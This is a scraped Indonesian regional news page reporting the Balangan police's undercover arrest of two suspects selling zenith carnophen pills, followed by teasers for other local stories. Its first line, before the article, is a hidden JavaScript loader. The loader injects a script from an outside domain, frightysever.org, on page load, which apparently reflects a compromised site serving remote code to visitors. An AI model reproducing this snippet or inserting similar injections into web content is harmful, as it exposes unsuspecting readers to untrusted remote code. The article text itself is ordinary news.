(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PARINGIN, Satuan Reserse Narkoba Polres Balangan berhasil mengungkap kasus peredaran obat daftar G jenis zenith carnophen. Dua tersangka diringkus di Jalan Desa Kupang, Kecamatan Lampihong, Kabupaten Balangan, Kamis (17/5).
Diketahui kedua tersangka merupakan warga Hulu Sungai Utara yaitu H (32) warga Desa Kamayahan RT 003, Kecamatan Amuntai Utara, Kabupaten Hulu Sungai Utara dan H (52) warga Jalan Abdul Azis RT 002 Kelurahan Tambalangan, Kecamatan Amuntai Tengah Kabupaten Hulu Sungai Utara.
Sebelumnya pada Rabu (16/5) Polres Balangan menerima laporan dari masyarakat bahwa adanya dugaan sering terjadinya peredaran obat terlarang zenith di wilayah Kabupaten Balangan.
Kapolres Balangan AKBP Moh Zamroni mengungkapkan dalam menindak lanjuti informasi tersebut anggota langsung melakukan penyelidikan, dan pada hari Kamis (17/5) sekitar pukul 21.00 Wita anggota menyaman untuk upaya pengungkapan tersangka.
“Setelah memastikan informasi tersebut, anggota kami mengatur rencana untuk meringkus para tersangka. Keesokannya anggota kami melakukan penyamaran untuk bisa bertransaksi terhadap tersangka,†ungkapnya.
Kamis (17/5) sekitar pukul 21.30 Wita di Jalan Umum Desa Kupang Kecamatan Lampihong Kabupaten Balangan, Anggota Sat Res Narkoba Polres Balangan yang melakukan penyamaran berhasil bertransaksi kepada kedua pelaku dengan membeli 2 bungkus zenith. Satu bungkusnya berisi 100 butir obat sehingga totalnya semuanya berisi 200 butir.
Anggota polisi yang saat itu menyamar, mengeluarkan uang sebanyak Rp 600 ribu untuk 1 bungkus dan untuk 1 bungkus lagi janji dibayar kemudian hari.
Setelah bertransaksi, H dan H berangkat untuk pulang ke rumah masing-masing, namun sesampainya di Desa Lampihong Kiri dilakukan pencegatan dan penangkapan oleh anggota Sat Res Narkoba Polres Balangan. Selanjutnya kedua tersangka beserta barang bukti diamankan ke Polres Balangan untuk penyidikan lebih lanjut. Barang bukti yang berhasil diamankan berupa 200 butir obat zenith carnophen, 1 buah sepeda motor Yamaha Mio Z -DA 6955 FAK-, 1 buah handphone, dan Uang Tunai Rp.600
“Kedua tersangka ini kita kenakan pasal 197 UU RI Nomor 36 Tahun 2009 tentang kesehatan jo 55 ayat 1 KUHPidana karena dengan sengaja atau mengedarkan kesediaan farmasi dan alat-alat kesehatan yang tidak memiliki izin edar,†pungkas Kapolres Balangan. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.